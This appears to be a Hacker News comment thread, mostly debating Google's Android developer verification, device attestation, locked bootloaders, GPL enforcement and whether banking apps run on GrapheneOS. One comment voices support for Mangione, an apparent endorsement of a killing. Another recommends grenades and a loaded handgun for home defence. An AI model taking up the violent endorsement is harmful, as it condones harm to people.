Based on what? Sure quips like that are catchy, but what "oligarchs" were there in the Soviet Union circa 1920-1989? The "nomenklatura", while well-off, were absolutely nowhere near the wealth of today's American oligarchs or modern (capitalist) Russian ones. Moreover, unlike oligarchs, they do not form a class: wealth does not transfer reliably one generation to the next, and individuals would phase in and out of high status according to their position in their career.
A very striking way to illustrate this is to look at the career histories of high government officials even very late into the Soviet Union. The last Minister of Coal, Mikhail Shchadov, was born in a village, worked in a mine, went to mining school for engineering, became head of his mine, and thereafter worked his way up the ranks until he was head of the whole apparatus. This story, not that of inherited wealth or monopolistic oligarchs, dominates the histories of Soviet ministers even very late in the decline of the Union.
Where is the "other set" of oligarchs of which you speak? There is none, which means there is hope for workers who might wish to enact fundamental economic change.
You can quibble over degree and the path taken, but wealthy insiders using money to control politics and ideological insiders using political control to amass wealth feel like two sides of the same coin, both leading the same way.
Your definition of class also seems to be very different from a traditional Marxist take -- hereditary systems were mostly seen as a symptom and not the problem itself, and were mostly orthogonal to any understanding of class.
I _hope_ there is hope, but I don't have much confidence that it lies in century old tropes of "rise up and throw off your chains."
But that's the key point: these people weren't insiders, not before gaining their positions, and they didn't even really accumulate wealth. They gained benefits from their position, sure, but little of that was attached to their position -- rather, to their office, and when that office lapsed, so did those privileges. When Khrushchev was removed from office, he got a small pension (500 rubles/mo.) and a house + cottage in which to spend his retirement, and even that was considered relatively comfortable.
So what did they accumulate? Few acquired power for life; none acquired significant wealth, or a power base independent from the party-state. Even after the end of the union, it was not the former nomenklatura who became new oligarchs: by and large it was the security services and their affiliates who were able to feed on the corpse.
You're right to critique how I described class in the previous message, but what I was trying to accumulate was essentially the above. It's not perfect, but I think this is very much a situation where it's important to not let the perfect be the enemy of the good. I would far rather live in a society where my leaders were once workers like me, raised in the same way, and all men were subject to the same basic economic guarantees. What we live in today is the rule of oligarchs, and it'd be a big step up to merely suffer the rule of bureaucrats.
You mean the people actively building this system? I have to assume it's decently far along for them to make this announcement.
Do you recognize that a 100,000+ person organization might contain a large number of people who disagree with any random project at any given time?
This has happened before.
If a government was to plan something like that, there would be protest in front of the parliament. Were are the protest in front of Google main office? If there are a few hundreds of angry developers handing out flyers at Google employees on there way to the office, explaining how bad is Google, maybe Google will move, because they care about the bad publicity. Open source developers involved with Android and app in California should walk in front of Google offices to protest.
What's wrong with loading an alternate OS that isn't Play Protect certified?
Attestation & Play Integrity is having a good go at blocking this: lots of critical software (e.g. the app required to use your bank account) requires certified attested devices, and Google are pushing hard to get as many apps as possible to activate that for "security", making non-Google Android un fixably 2nd tier in functionality.
Doesn't GNU/Linux also have this problem with e.g. Netflix? If you don't pass their spyware, you get shitty streams from video apps and no access to financial accounts.
ironically, making linux users consider sailing the high seas for actual 4k rips instead of actually paying for the service just to get blocky low bitrate 720p content. so this piracy prevention not only creates more potential pirates, but makes paying customers' lives harder while not affecting the aforementioned pirates, who can now watch it at 4k on any device or program they wish
My HTPC runs Linux and when I had Amazon Prime I tried to stream a live event and it wouldn't let me stream it at all. I don't have Prime anymore.
>and Google are pushing hard to get as many apps as possible to activate that for "security"
I'd be interested in further reading on Google's outreach to big banks and major finance CO's ( or others) pushing for device attestation if you have any further reading.
And not just financial apps. Even TikTok, a platform which people around the world are using for various good activities that governments may not like, is using Play Integrity.
Most vendors, including the big ones, don't play well with that. Google just revoked open sourcing the Pixel as the reference design which was the strongest option for that. Things like newer Samsungs are black boxes and everyone is actively making it harder to do anything with devices you bought and paid for.
Soon you won't be able to do this either because most manufacturers are locking down the bootloader.
And Google stopped providing device trees and driver binaries... and stopped releasing AOSP as often, and, and...
You know, when you phrase it like that, it almost makes it sound like they're taking advantage of their market position to the detriment of consumers.
That would mean they are committing copyright violation of the Linux kernel. So they could be sued by Linux kernel folks, or by users of the devices.
https://sfconservancy.org/copyleft-compliance/vizio.html https://sfconservancy.org/blog/2021/mar/25/install-gplv2/ https://sfconservancy.org/blog/2021/jul/23/tivoization-and-t... https://events19.linuxfoundation.org/wp-content/uploads/2017...
Locked bootloaders are probably not a GPLv2 violation, and probably are a GPLv3 violation. This type of situation was a major reason GPLv3 was created. Another was clarification of some grey areas (these are the reason for "probably").
But the Linux kernel is GPLv2, and only v2. For better or worse, locking down the bootloader is (probably) pernitted with the Linux kernel.
The Sofware Freedom Conservancy are the main (or only?) enforcers of the GPL these days, and if you read their posts, you will see they disagree with you, GPLv2 requires the ability to modify and reinstall.
Having read [1] in particular, I think you're right and I was mistaken. Thanks! That's quite eye-opening for me, as I followed discussion about GPLv2 and GPLv3 for years yet didn't know about this view of GPLv2 and reinstallation.
Having heard so much about anti-Tivoization when the GPLv3 was being drafted, and the discussions about it on linux-kernel when Linus decided the kernel will remain GPLv2-only, I was left with the impression that the GPLv2 only required the provision of source code, build scripts, etc. but not the ability to reinstall a new version. [1] makes a pretty good case that the ability to reinstall is also required GPLv2, and I'm heartened that's how Tivo saw it too.
[1] https://sfconservancy.org/blog/2021/jul/23/tivoization-and-t...
It's increasingly difficult to get current hardware for which an alternative OS is available, and which is not locked.
Right now, it seems to be fairphone or pixel, or old phones which are not easy to obtain. Samsung have announced they will lock their phones, and how long before google locks pixels?
The number of people able to do that is fewer than those willing to send in copies of overnment IDs. Phones compatible with AOSP builds are rare outside small bubbles of Pixel users as well.
Society deserves whatever's coming for it. Look how vain and stupid we've become.
> This won't end well for Google or the governments involved when the people get so angry that they are forced to roll this back.
This makes me quite angry, but I guarantee more than 90% of Android users will not be bothered too much about this. Many of them will actually like it, and most of those who don't will just shrug and go on with their day.
My estimate is less optimistic: 99% of users won't ever be bothered with this news nor notice that anything changed, and of those who will, 90% will like it, because 'less malware' is the only thing they can work with.
The weirdest thing to me is that those people who actually care about this are most likely the ones capable of implementing this shit: developers. Us. Who else but developers (OK, and maybe their enlightened spouses) cares about this? We are digging our own graves, basically.
So, Google devels: refuse this. And tell your willing colleague that they are not welcome at your birthday party if they do it.
> This is the worst thing to happen to technology in recent times since there is only two major phone OS's.
I don't think that's it. The desktop OS situation has historically be similar with 2 major large players and a bunch of insignificant ones.
This comes down to user expectation.
No, it's not similar.
There are two OS platforms for desktop/laptop usage: MacOS Windows
These both contain ways to run arbitrary compiled code from an arbitrary source -- like a computer should. Losing this feature of our smartphones should have everyone concerned.
> These both contain ways to run arbitrary compiled code from an arbitrary source
And they're both working towards taking that away.
For now we have Linux as a 3rd option, but that only exists so long as there's hardware available that'll let you run it. Can easily imagine a near-future where you can only get 'Windows hardware' or 'Apple hardware' and nothing modern that'll boot a 3rd-party OS.
Is that really realistic? Apple very specifically allowed booting unsigned, and even non macOS, operating systems on their ARM devices. Sure - they don’t document the hardware, but making it possible was intentional.
Yes, making it possible was intentional. But it just goes to show easy it would be for them to remove that option. While they are currently specifically choosing not do that for their own hardware, they could change their mind tomorrow.
For precedent, Microsoft locked down their own ARM hardware to Windows.
do you think arm boards are going away?
Right. The OP's point was that just having 2 major OSes is the problem but it's clearly not because we had that situation with desktops/laptops and they both allow arbitrary code.
I mean, you're pretty optimistic that the current fascism is going away any time soon.
Well it seems like the UK gave up their ridiculous "backdoor" fight with Apple, so maybe there's hope.
Then they rammed online safe space regs.
More people should've supported Mangione.
Over a billion people use iOS and more would have if they could afford it. These companies have big data and they know how many people it’ll affect/annoy. You are outnumbered.
DO NOT UPLOAD YOUR ID/INFO TO GOOGLE. I put my game on their app store some years ago, and they doxxed me right on the app store. Google posted my name and home address right on the game page. Not great when I was already receiving death threats! Later on, had a rando show up at 3AM one night and had to call the cops out. I moved after that. Google is absolutely not to be trusted to keep this data confidential. If Google demands I do anything with them, I'll just tell my fans to install lineageos or whatever instead -- no way in hell I'm having ANYTHING to do with google ever again. GFY google!
If you are having random people try to attack you while you are at your home, you need to be prepared. Strengthen your door jambs with nine inch screws to replace the screws your door is mounted to and use metal plates to strengthen the locks (there are kits available at home improvement stores), install adherent plastic frosting on your windows that will slow down break ins by making the window much more annoying to break through, and install surveillence cameras outdoors. On the offensive front, you can consider OC/CS grenades you can throw down the hallway to avoid exposing yourself and handheld pepper spray for non-lethal deterrence at moderate range. Finally, if all else fails, keep a loaded handgun in a easy to use but hard for kids to unlock gun box under your drawer next to your bed. An under barrel flash light severely blinds invaders and makes them think twice about charging you, maximizing the chances that you nobody will get hurt. The door jamb upgrade is the most important one. I have returned home to a severely beaten door with my shattered iron door knocker on the ground laying in front of the door in pieces but the house was impenetrable to the burglar(s) who weren't willing to break through the glass. It also doesn't hurt to install fake $5 security dome cameras around the property.
Or just don't give your home address to Google.
There are many ways your PII can leak
Who doesn't like idea of throwing grenades down their hallway??
You read that whole thing and that's all you took away from it? Pathetic
What do you mean by "Google posted my name and address"? How? Why?
If your app is monetized, the contact details of your "business" are shown in the play store. For many smaller developers, this will just be their home address.
https://support.google.com/googleplay/android-developer/thre...
It’s important to note that even if you app is not monetized and you don’t have any intention to, Google still requires all this information anyway (including uploading an ID picture and proof of address). Nothing really stops Google from publishing this information in the future.
A deleted comment mentioned this is an EU law, which is partially true, but there is also malicious compliance from Google’s side.
It's also a law in California, I'm pretty sure they say it on the page that requires it and that it would be displayed publicly. It was why I let my app expire.
That's absolutely correct.
That's why you have to have a business address, and get all your business admin ducks in a row, even if it's your first real monetized app. Your future self will always thank you!
This was not Google's decision, it was forced on them by the EU under their Digital Services Act:
https://9to5mac.com/2024/10/17/developers-address-phone-numb...
The same thing was applied to the Apple store at the same time.
This directive only apply if you are trading (aka making money) with the app. Why does Google force-collect all this information when you can opt to not be a trader (no in-app purchases, no ads, etc)?
> Google wants to combat “convincing fake apps”
Google can't even stop the scam ai companion apps on the play store that all use the same same backend full of characters...
Google also can't stop the huge wave of scam Bitcoin ads impersonating Canadian media outlets, with ai generated pictures and videos of politicians.
Get real Google.
Their own store has a dozen "AI Photo Editor Pro 2026" and "Turbo Deluxe Ultra VPN Secure Pro" apps that are "approved" and yet for sure have malware at worst and at best steals your data and serves nonstop pop up ads
Don't get me started. Every single app I search for on the play store gets a first sponsored result that is a completely different app. It is so utterly broken by design.
The core benefit of Android over iOS for me has always been that it's my device, not Google's.
They've been chipping away at this over the years. Safetynet was the first offense, but if they start restricting app installation from sources of my choice (I hate the term "sideloading"), there's not much advantage left.
I agree 100% with you. I am in a similar situation, rooted and unlocked, slowly but surely getting access restricted.
Google is trying something which will be a net negative for everybody, instead of keeping this _massive_ USP that also keeps a core userbase. Might as well switch to iOS now, I don't have anything which keeps me on Android.
They saw Apple getting away with notarization under the DMA so they're doing the same. I must admit the mass demotivation strategy is working really well. Seeing this kind of news every single day, affecting you directly and not even being able to do anything
Yep. I feel powerless, and I don't know what to do. I don't think there is anything I can do, except for watch all of technology get locked down to the point that you need a monopolist's or a government's permission before you do anything with it.
It's so fundamentally depressing, and completely at odds with how I grew up viewing tech.
There are tons of things you can do, from spreading the word, organize politically or work on building an alternative ecosystem. Also donate to organizations like EFF.
We're being pushed a message that we're all impotent but the reality is that collectively we can change things, and apathy is exactly what these people try to push onto us.
Things get worse but there are also good laws being pushed: see for example digital markets act and GDPR. 2008 when I started using Linux, gaming on Linux was horrible. Now it's day and night, and linux, while still small, is more popular and usable than ever. Recently alternative social medias like Bluesky, and Mastodon enable more open ecosystems and they've gained a lot of traction.
Android has alternative ecosystems like F-Droid and GrapheneOS that can be built upon and hopefully we can get it to a point where we can ditch Google. We need to keep up the fight.
Donate is the key term here. If you want there to be alternatives to everything that's getting worse, you need to make those alternatives sustainable - even if they're not there yet. You can donate to alternative Android ROMs, efforts to make Linux on mobile usable, and support companies that actually care about users like Fairphone. They all need money to live.
Sweet talk and online activism is great, but the TLDR is always open-source developers need money to work.
@hollow-moe do you have a reference to "Apple getting away with notarization under the DMA"?
I cannot resist the urge to point out that we wouldn't have had this problem if people actually sticked to free software instead of "commercial use friendly" open source licensing
You are 100% correct.
Such a shame that the Free Software Foundation has been such an awful steward of the GPL. The fact that the GPLv3 didn't close the network hole is a decision made either out of myopia or abject cowardice, you shouldn't need a separate license (AGPLv3) to ensure true freedom of the codebase.
"The fact that the GPLv3 didn't close the network hole is a decision made either out of myopia or abject cowardice, you shouldn't need a separate license (AGPLv3) to ensure true freedom of the codebase."
Google was successful in lobbying the FSF to have 2 licences (GPLv3 and AGPLv3) instead of 1 (GPLv3 covering web services).
Sure, but just the regular GPLv3 would have been good enough to prevent this particular abuse.
That's fair, but a more pervasive Free Software ecosystem might have possibly avoided this outcome entirely. And that failure is something we can lay directly at the feet of the FSF.
If RMS was going to piss off the entire industry with a new version of the GPL, the least he could do was close the network hole. What we got instead is a half measure that satisfies nobody.
More importantly, he completely missed the boat on App Stores. Why was there never any watered down version of copyleft that could be used as a wedge to try and pry open app stores over time? They did it for libraries with the LGPL, but apparently app stores werent worth specials casing.
In practice we see the reverse and GPL projects being rewritten as more permissive.
The busybox/toybox case looks especially relevant and interesting:
> In January 2012 the proposal of creating a BSD license alternative to the GPL licensed BusyBox project drew harsh criticism (…). Rob Landley, who had started the BusyBox-based lawsuits, responded that this was intentional, explaining that the lawsuits had not benefited the project but that they had led to corporate avoidance, expressing a desire to stop the lawsuits "in whatever way I see fit".
source: https://en.m.wikipedia.org/wiki/Toybox
Free choice in the market is a lie anyhow. You are limited by what is actually been made available in the marketplace in sufficient quantity. "You can have any color you want, so long as it is black." - some old racist industrialist.
An interesting idea. But who would have to "stick" to such software? The users?
It seems to me that most of the users do not care much about what kind of software their phone runs, unfortunately. As long as it works with Instagram or whatever other big brand social media is trending these days, they are happy. Which is I think understandable.
The companies developing the apps are in my opinion driving this cultural shift. And they are doing it mostly because it brings them commercial advantages. Which is, I think, also understandable.
Everyone involved seems to to what appears to be in their best interest. And yet, collectively, we as a society get a worse outcome overall. This phenomenon perhaps has a name.
In order to break out of it, I think that the incentives on both sides need to be adjusted. It needs to be in the companies' interest to produce apps as open source. And the users need to want them.
The only way I can think of to achieve that kind of a change is when the open source apps and products become just inherently better than their proprietary alternatives. In all categories. Then, the people would want them. And then the companies will start to produce them.
It is a very tough goal. The commercial apps do not have to be better in all categories to retain their users. They can use vendor locks or other business strategies which restrict the users' ability to leave them.
Open source apps cannot do such things. The only fair ground on which they can compete is their quality.
Except Android is based on Linux.
When people say just use Linux I can only think of what was known as far back as 2014.
> NSA: Linux Journal is an "extremist forum" and its readers get flagged for extra surveillance [0]
Looks like this is a part of the move toward Chat Control and ending E2E encryption.
[0] https://www.linuxjournal.com/content/nsa-linux-journal-extre...
Few my ideas about how things will be going
- platforms are going to be forced to collect more data about you
- The amount of places without you showing IDs will decrease
- There will be more "moderation". You will not be able to provide nsfw contents, then you will not be able to host controversial topics. I suspect games will be more "kid friendly". No more real doom, gta, or Mortal Kombat for you. I remember how they provided more clothes on women for mortal Kombat
- The rules will always be vague, and used sporadically. Just like YouTube rules, where companies often abuse DMCA just to shut you off, or ban you, if you are not playing nice. Like Schlep.
- Corporations will create pressures on validated users, or ban you for life, but often they will just use "fear" to police people by themselves. Just like people will use "unalive" words, because they know they can get into trouble for saying a different word
- Google will be able to police extensions by banning people
- It is all a boiling frog scenario, where it creeps one law after another until everything is moderated, controlled by corporations
- The safety increases, but freedom decreases
- Free software people will often be mixed in article texts with terrorists, bad actors, predators, pedophiles
- It can happen because people do not understand these mechanisms, and they want "safer" world, in which nobody can get hurt, but it is also a place without you being free
I don't think it's coming for games. Kids don't play on PC or console, they play on phones. PC games are "sad dad stories" like "the last of us" now.
It's already came for the games. Recently there were news about mastercard & visa prohibiting nsfw games from steam.
> The safety increases, but freedom decreases
It's never safe when there's no freedom.
Android's ability to run binaries outside of the Google Play Store is a key differentiator of their product vs. Apple's. Or at least it used to be.
I think this is another thing that has changed in time. Custom ROM's used to be the defining feature of Android but over time less and less people used it. I think sideloading has gotten to that point as well. Where it's a power user feature that most people don't touch. So Google feels confident in nixing it since it only affects a small group of people.
Fewer people use custom ROMs not necessarily because they don't want to, but because manufacturers began putting hardware on the phones that only they have the firmware for. I have a Samsung phone that I replaced as my daily driver because the phone speaker broke from sweat. Other than the speaker it works literally perfectly. I'd love to use it to try different alternative OSs, but AFAIK, even though it's only from 2021, not a single project supports it.
Phones with unlock able boot loaders still exist. Samsung phones outside the US that use Exynos, Pixel, OnePlus, Motorola, etc. The features people made custom rom's for have just become part of Google Android or part of other OEM versions. Even though these popular phones do have unlock able boot loaders there just isn't a large interest in custom rom's. The interest in custom roms and more locked boatloaders happened in parallel.
Its the other way around - these aren't less popular because people want them less now so we kneecap them - they're less popular BECAUSE we've spent the last decade kneecapping them.
Custom roms would be more popular if every app dev and Google weren't doing everything in their power to make their software not work on custom roms.
That's intentional. It didn't used to be that way.
I don't think so. There are still plenty of devices and apps that can be unlocked and run custom roms on. But there is barely any developers working on it. Custom roms were always a power user method to give themselves more functions. What functions are missing from modern OEM roms and launchers?
1. There is exactly one device sold in the entirety of the US that can have the bootloader locked on a custom rom - ironically, the Google pixel.
2. Bootloader locking matters because many (most?) apps will just refuse to run.
3. Why? Because Google built up the attestation API which severely handicapped those 99.9% of devices from running custom roms.
4. Even on the 0.1%, the Google pixel, it won't pass full attestation - so some really picky apps like banking won't run. Only stock android untouched will run those apps.
It didn't use to be this way 10 years ago.
I mean, the epic games lawsuit specifically involved sideloading. There's still ongoing litigation in one of those suits. Playing fortnite isn't exactly a niche or power user thing.
If OEM stop working so hard to prevent user from flashing their own ROM(and use it like stock ROM), custom ROM would still be active.
It's ironically also why they were ruled a monopoly and Apple wasn't. Yeah, try and wrap your head around that.
Still is, all of those Chinese ROMs/phone manufacturers thriving because of this. The Chinese phone market would literally be non-existent if it weren't for the ability to run binaries outside of Google Play.
I beg to differ.
Most Android users choose that ecosystem due to the price point, as most of the world can not afford iPhones (even second hand ones).
Only a tiny fraction of the billions of Android users out there, chose it for its more open aspects.
I Disagree, You could find an iPhone at any price brackets. even $100 you could get an iPhone 7, which is still useable for basic task like light web browsing or streaming media.
Unfortunately, it's not a differentiator at all in the market. Not to enough consumers that it remotely matters. For our niche nerdy subculture it's extremely important, but essentially nobody in the grand scheme of things even knows that binary is a thing that exists.
I wonder if, as newer generations grow more tech literate, the demand for this will rise and every OS maker will end up shooting themselves in the foot.
At least one can dream.
This is the same direction that Microsoft is taking Windows. Smart App Control is already rolling out to some regions - no .exe will run without a code signing certificate.
https://learn.microsoft.com/en-us/windows/apps/develop/smart...
Code signing by pseudonymous key is different that requirement to cede personal data to central registry
It requires a code signing certificate from one of the trusted central authorities, and generally as an individual you must have your legal name on the code signing certificate. It's not pseudonymous.
Code signing is somewhat OK as I can get code signing cert using provider in my country that I can go to physically and show their employee my ID.
If google does that then it’s not the worst.
Worst is having to get my ID and all details scanned and processed by Google.
I really wish Microsoft made it cheaper to get a certificate. With Apple you pay $100 a year for any number of certs. Last I looked into it a cert for a single Windows app costs $400+ per year and requires a hardware token.
They greatly improved the situation over the past couple years. Azure Trusted Signing is only $10/month and provides cloud-based signing.
It's a huge pain to set up initially, but it's smooth sailing after that. There's a good tutorial at https://melatonin.dev/blog/code-signing-on-windows-with-azur...
The setup is the most insane stupid stuff I've dealt with in a while. I am currently waiting for them to agree that my DUNS number is real, and they made me remove the WHOIS privacy from my domain name to verify that my address is associated with it. The billing receipts from my host were insufficient for reasons they couldn't explain. Had to upgrade to the $30/mo and then the $100/mo support plan just to speak to someone and it's been 4 weeks without movement. But hopefully it will be worth it in the end, the EV certs are crazy expensive and don't even remove smartscreen warnings anymore.
Ugh, sorry to hear that, yeah the whole setup process is just so insanely frustrating. I'm really dreading having to re-validate my identity documents once they expire.
For what it's worth, in my experience it was even worse with EV certs though - all the same steps including removing WHOIS privacy, plus some extra ones like voice phone number validation that had to be repeated every single year.
And then there were extra WTFs with the EV cert expiration being 365 days after an issue date which is several days before you actually receive the hardware token. Or one year they sent the hardware token fairly promptly, but forget to send the password needed to use it, and it took a week to get a response from support etc. Then again, Azure Trusted Signing has similar ridiculousness with billing being based on calendar months, with no proration for your first month even if you started at the end of the month... I mean it's just $10 but it really adds insult to injury after that signup gauntlet.
Anyway, I've heard that if your Azure Trusted Signing process gets stuck in limbo, it can be best to submit a different document, but I'm not sure if there's any alternative permitted for the DUNS step. That's especially annoying because trying to update outdated info with Dun & Bradstreet is problematic in my experience, i.e. their web forms just plain did not function properly.
Yeah I was with Comodo before and it's like you said. I thought Azure signing was going to be a breeze because I've had my Azure account for years. I submitted with both EIN and DUNS and then they said I can't submit any more validation requests for this "property", so that's why I went the $100/mo support plan to get a human somewhere to click a button and approve this thing.
Only available to US and Canadian businesses who have more than 3 years of tax history. Weird limitation.
Nice, thanks, I'll take another look!
I really wish for people to not bend for that.
I think this might backfire in that it might be enough to prompt technical people to seriously start looking for alternatives.
I personally will be extremely unhappy if I no longer can run dns66, newspipe or Firefox with ad blocking on my phone.
I think I might also start spending less time on my phone, which would be a good thing for me and a terrible thing for Google (in aggregate of course).
Exactly! And I'll even stop paying for their other products as well.
The problem is that Google has exactly zero products that it gives a rats ass if you pay for. Google is, was, and always will be an advertising company. Users aren't the customer for Google, they're the product, and frankly the knuckle-draggers that mindlessly consume everything Google makes without any care to a not-so-slow slide into tyranny are far more valuable advertising targets than you are.
Online advertising is a whale hunting game. There is a subset of society who genuinely are so suggestible that you can convince them they need a new truck with an online ad. They are largely a disjoint set from people with strong opinions about anything, never mind the subset of those who care deeply about the freedom to modify their devices to suit our interests rather than those of the megacorps.
I've grown increasingly hateful towards both my Android and iOS devices over the last decade. The platforms themselves are increasingly user-hostile, and their appstores are crammed full of shitty, privacy-invading, telemetry-hoovering, dopamine-triggering, ad-filled, lipstick-covered apps that are often garbage compared to the pioneering days of mobile. I miss the days of my old Palm Pilot.
Is anyone working on fixing this? We can do so much better.
GrapheneOS + F-Droid is a joy to use, for me. I'm kinda shocked when I use anyone else's phone, now.
If they start selling their own devices, I will buy one and (assuming it turns out how I hope it will) recommend it strongly.
If an alternative, privacy-focused OS like Graphene can support contactless payments (universal, like Google Wallet does it, not having to install an app per bank or card), and can 100% reliably get around apps requiring SafetyNet (or whatever they call it now) attestation, then I'd start using it.
I'd also need an alternate, safe source for common apps like Uber, Lyft, Slack, Kindle, Doordash, my banking/credit card apps, and a host of others that I use regularly. (And, no, "just use their website" is not acceptable; their website experiences are mostly crap.)
Way long ago I used to run CyanogenMod on my Android phones, and it was trivially easy to get every single app I needed working. Now it's a huge slog to get everything working on a non-Google-blessed OS, and I expect some things I use regularly just won't work. I hate hate hate this state of affairs. It makes me feel like I don't actually own my phone. But I've gotten so used to using these apps and features that it would reduce my quality of life (I know that sounds dramatic, but I'm lacking a better way to put it) to do without.
For those watching this stuff, there are two other promising paths using ZK-proofs which might disarm the tradeoff situation we've been stuck in. Banking apps etc aren't willing to eat the liability of devices that are rooted or running alternate OSes, and Google's been banking on the exclusivity that brings from being both hardware and security provider.
Path 1: a ZK-proof attestation certificate marketplace implemented by GrapheneOS (or similar) to prove safety in a privacy-securing way enough for 3rd party liability insurance markets to buy in. Banks etc can be indifferent, and wouldn't ignore the market if it got big enough. This would mean we could root any device with aggressive hacking and then apologize for it with ZK-proof certs that prove it's still in good hands - and banking apps don't need to care. No need for hard chains of custody like the Google security model.
Path 2: Don't even worry too hard about 3rd party devices or full OSes, we just need to make the option viable enough to shame Google into adopting the same ZK certificate schemes defensively. If they're reading all user data through ZK-proof certs instead of just downloading EVERYTHING then they're significantly neutered as a Big Brother force and for once we're able to actually trust them. They'd still have app marketplace centrality, but if and when phones are being subdivided with ZK-proof security it would make 3rd party monitoring of the dynamics of how those decisions get made very public (we'd see the same things google sees), so we could similarly shame them via alternatives into adopting reasonable default behaviors. Similar to Linux/Windows - Windows woulda been a lot more evil without the alternative next door.
Longer discussion (opinion not sourced from AI though): https://chatgpt.com/share/68ad1084-eb74-8003-8f10-ca324b5ea8...
All of my bank apps work fine on graphene. I'd switch banks if their app stopped working, not stop using graphene. I stopped using Google wallet, I don't miss it enough to justify using stock android. For other apps, I just put them in a separate profile that has good play installed/configured. It really wasn't bad. The worst part is wiping your phone to install graphene the first time, I prefer just to get a new device for it so I can move stuff over
What are you going to do when eventually, all bank apps will stop working? Because they will and it has happened in many countries already.
How do you access banking and other sensitive apps? If the answer is, you don't, well, you can see how that's a non starter for the vast majority of people.
My banking app works fine on GrapheneOS. There is a crowd-sourced list here with current status for many of them: https://privsec.dev/posts/android/banking-applications-compa...
This is a good start! I think we need something like a ProtonDB for this sort of thing, but that covers all apps, not just banking apps.
I do see five banking apps I use listed there as working, which is great. But -- and maybe I'm being unnecessarily overly worried about this -- what about the future? What if I've been using Graphene for a year or two, and one of the ones that's critical for me changes how they operate, and Graphene no longer passes muster as a platform it will run on. I'm not afraid of this happening at all running Google's stock OS image, but once I do my own thing, I get to keep the pieces when it breaks.
I love how so many of the responses in this thread are "it works for my particular bank" or "my bank's website is good enough" or "I'd only need it to deposit checks, but I never need to do that"... as if those are actually helpful responses to this general problem.
Many many people have banking apps that will not work on non-Google-blessed devices, use banks that have mobile websites that are terrible, and need to do mobile check deposits (which is usually only available in the app, and not the mobile website, if the bank even has one). And no, we're not going to "change our bank".
The reality is that there are so many things that break, sometimes in subtle ways, when you try to use an alternative Android OS. Some people may not have any problems, and that's great! But many -- I would dare to say most -- will.
And there's also a ton of uncertainty: I don't really want to wipe my phone, install GrapheneOS, spend hours messing with it and setting it up, only to find that something critical doesn't work, and now I have to flash back to the stock OS, and hope I can restore everything the way it was.
There's bound to be tradeoffs between scrappy open source communities and trillion dollar industry behemoths. The fact that it's this close of a call is pretty amazing. And really you can blame your bank for not making a usable mobile site. A lot of businesses like to force users into apps because it helps with engagement metrics, not because there's any functional benefit.
Its not even a matter of tradeoffs - banks just suck major ass so, of course, their piece of shit apps are extremely fragile and only work under just the right conditions.
That's not any OS' fault, that's banks fault. That's been my experience with every bank I've used so far and yes - they often break on certified OS' too! I've been on the phone with support!
Because they make bad software, period, and we're all just forced to use their bad software.
Most banking app work, either directly or with a settings change to allow Google Play Service emulation. [1]
[1] https://grapheneos.org/usage#banking-apps
Second phone for all official business apps, banking, etc. Never leaves home and it's used only for this purpose
This is probably the only real solution. It also makes sense from a getting mugged or breaking your phone perspective. At this point, my phone is probably more important than my IDs and passports.
Then use a laptop instead? Or you have one of those "modern" banks that's app only?
Is that a jab at grapheneOS ? Because thats just another thing that google is borking up. And a little bit more so the banks themselves.
GrapheneOS is the way that all phone operating systems SHOULD be made. Layers and segregation between your banking apps and all the privacy breaking trash and malware you can get off the app store.
It is the banks and google making weird rootkit shit to try and lock down things that is the problem here.
A web browser in the worst case scenario. The same way you'd do it on a computer.
This is quickly disappearing as an option as well. I need my bank app to authenticate even when using a web browser on desktop. Luckily my banks app still works on GrapheneOS, but I suspect it's only a matter of time before they disable that because of "security" reasons.
Android apps will be the IE6 activeX controls of the future.
What bank is this? No bank I know /requires/ you to use a mobile app for anything; the web is enough. 2FA can usually be done via email, SMS, or a google-authenticator-compatible app.
For example, Starling Bank in the UK.
They have a nice web app, but you must use their mobile app to login on the web version. The app takes a video of a QR code on the web page during login. Web login completes as soon as the mobile app notifies the server. There's no 2FA code to enter, and no alternative.
I asked them about this, by phone call, when my phone screen broke and I urgently needed to make a transaction. Surely there as an alternative? Or could I do the transaction by phone call?
They told me that indeed there is no other option. Despite having phone customer support, they had no phone or web banking service at all which could be used without a registered mobile device. The only phone service they could perform was to register a new mobile device, which I didn't have. I had a tablet, but it was too old.
So I had no good choice. The Android phone I'm using right now was bought in a hurry just so I could be allowed to make a bank transaction.
It wasn't my first choice of phone. I didn't have time to investigate alternative devices, let alone weigh up open alternatives. I ended up buying a mid-range device under pressure that seemed ok and was available in a store without waiting. (It was a brand new Samsung, and despite the IP rating it got water damaged and stopped working entirely after a few splashes a year or so later, but I was able to get it repaired.)
Sounds like you should find a new bank. I would, at least.
I should say that I'm not from the US, so that might be why you haven't heard of it.
There is also an alternative for now, but nothing as simple as SMS or authenticator app. They give you a special credit card shaped card with a card reader that you can use to authenticate with using your PIN, which is mostly considered legacy now with the bank app. It's also not realistic to be carrying this thing around everywhere either as it's bigger than my phone.
There is also a national ID app that is used everywhere that I'm worried will stop working on GrapheneOS... Because without it I won't even be able to access online government services like healthcare, taxes, etc.
You still haven't answered their question.
Which bank?
I don't know the bank they are referring to, but I can cite an example for me: RBC Royal Bank of Canada requires the mobile app. There is nothing you can do on their website without first 2FA via their specific mobile app, and even then only in limited transaction sizes. If you want "full access" (e.g. up to $10k daily transfer via e-transfer) then you MUST use biometrics and the mobile app.
I don't want to reveal where I'm from so I can't say which bank specifically.
I am quite sure Starling Bank requires an app if you still wanted an example.
What's wrong with their web apps? The only real shortcoming I can think of is depositing checks digitally but I haven't had to do that in years.
Unfortunately I have checks to deposit every couple months. And my bank has no physical presence, so the only way I can do it is through the mobile app. (They also accept deposits by mail, but I'm a little wary of that; a lost check would be a huge hassle.)
As a GrapheneOS user, the way I access my banking app is by downloading it from the Google Play store just like everyone else.
They don't all work, though: too many crank up the settings on google's various 'integrity' checks and will fail on anything that isn't 100% google-blessed. (Which is insane, because that's all that's required: on a previous phone of mine, it worked fine with a stock ROM with a bluetooth-based RCE, but upgrading to a custom ROM would have meant it was 'insecure')
My credit union app already wants 24x7 GPS tracking of my location and full access to my camera at all times and full access to my collection of photos, so the app is already dead to me anyway. Demanding that I use it on a locked down device isn't going to change anything for me, I'm already actively not using it. I use the website on a desktop, I rarely need to access my CU at all much less access it remotely. Given the large amount of battery and bandwidth already used to track my every move, I wish there was something like "Docker for phones" where I could enable and disable 24x7 full access to my every action IRL.
This is absolutely insane. If you block access, does the app stop working?
Uh, my bank has a pretty good mobile website, personally.
GrapheneOS can only be installed on Pixel devices, no? Hard to see Google not putting in a way to block that on their own hardware.
I've never done it but
"Many other devices are supported by GrapheneOS at a source level, and it can be built for them without modifications to the existing GrapheneOS source tree."
